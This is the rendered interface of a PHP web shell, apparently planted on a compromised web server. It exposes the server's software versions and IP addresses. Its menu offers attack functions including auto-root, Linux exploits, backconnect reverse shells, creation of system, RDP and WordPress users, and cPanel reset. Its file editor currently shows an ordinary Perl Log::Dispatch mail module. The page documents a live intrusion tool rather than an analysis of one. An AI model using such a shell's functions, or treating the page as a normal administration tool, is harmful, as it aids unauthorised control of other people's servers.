Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
vendor_perl /
Log /
Dispatch /
Email /
[ HOME SHELL ]
Name
Size
Permission
Action
MIMELite.pm
1.53
KB
-rw-r--r--
MailSend.pm
2.07
KB
-rw-r--r--
MailSender.pm
2.55
KB
-rw-r--r--
MailSendmail.pm
1.6
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MailSender.pm
package Log::Dispatch::Email::MailSender; { $Log::Dispatch::Email::MailSender::VERSION = '2.41'; } # By: Joseph Annino # (c) 2002 # Licensed under the same terms as Perl # use strict; use warnings; use Log::Dispatch::Email; use base qw( Log::Dispatch::Email ); use Mail::Sender (); sub new { my $proto = shift; my $class = ref $proto || $proto; my %p = @_; my $smtp = delete $p{smtp} || 'localhost'; my $port = delete $p{port} || '25'; my $self = $class->SUPER::new(%p); $self->{smtp} = $smtp; $self->{port} = $port; return $self; } sub send_email { my $self = shift; my %p = @_; local $?; eval { my $sender = Mail::Sender->new( { from => $self->{from} || 'LogDispatch@foo.bar', replyto => $self->{from} || 'LogDispatch@foo.bar', to => ( join ',', @{ $self->{to} } ), subject => $self->{subject}, smtp => $self->{smtp}, port => $self->{port}, } ); die "Error sending mail ($sender): $Mail::Sender::Error" unless ref $sender; ref $sender->MailMsg( { msg => $p{message} } ) or die "Error sending mail: $Mail::Sender::Error"; }; warn $@ if $@; } 1; # ABSTRACT: Subclass of Log::Dispatch::Email that uses the Mail::Sender module __END__ =pod =head1 NAME Log::Dispatch::Email::MailSender - Subclass of Log::Dispatch::Email that uses the Mail::Sender module =head1 VERSION version 2.41 =head1 SYNOPSIS use Log::Dispatch; my $log = Log::Dispatch->new( outputs => [ [ 'Email::MailSender', min_level => 'emerg', to => [qw( foo@example.com bar@example.org )], subject => 'Big error!' ] ], ); $log->emerg("Something bad is happening"); =head1 DESCRIPTION This is a subclass of L<Log::Dispatch::Email> that implements the send_email method using the L<Mail::Sender> module. =head1 CONSTRUCTOR The constructor takes the following parameters in addition to the parameters documented in L<Log::Dispatch::Output> and L<Log::Dispatch::Email>: =over 4 =item * smtp ($) The smtp server to connect to. This defaults to "localhost". =item * port ($) The port to use when connecting. This defaults to 25. =back =head1 AUTHOR Dave Rolsky <autarch@urth.org> =head1 COPYRIGHT AND LICENSE This software is Copyright (c) 2013 by Dave Rolsky. This is free software, licensed under: The Artistic License 2.0 (GPL Compatible) =cut
Close